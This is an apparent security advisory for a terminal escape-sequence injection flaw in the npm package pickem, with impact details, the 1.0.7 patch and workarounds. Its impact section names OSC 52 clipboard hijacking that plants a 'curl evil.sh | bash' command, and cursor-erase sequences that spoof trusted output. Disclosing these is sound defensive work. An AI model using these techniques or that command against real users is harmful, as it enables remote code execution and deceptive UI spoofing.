pickem vulnerable to terminal escape-sequence injection via unsanitized item text
Impact
pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.
Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:
- OSC 52 clipboard write — silently load e.g.
curl evil.sh | bashinto the user's clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (
ESC[1A,ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - BEL / C0 control flooding.
Any CLI that passes untrusted strings into pickem choices is affected.
Patches
Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.
Workarounds
Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | pickem | < 1.0.7 | 1.0.7 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-150- Platform
- npm
- Package
pickem- Disclosed
- 25.08.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-8qx3-8gm5-9cj2 - CC BY 4.0
Vulnerability history: pickem
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.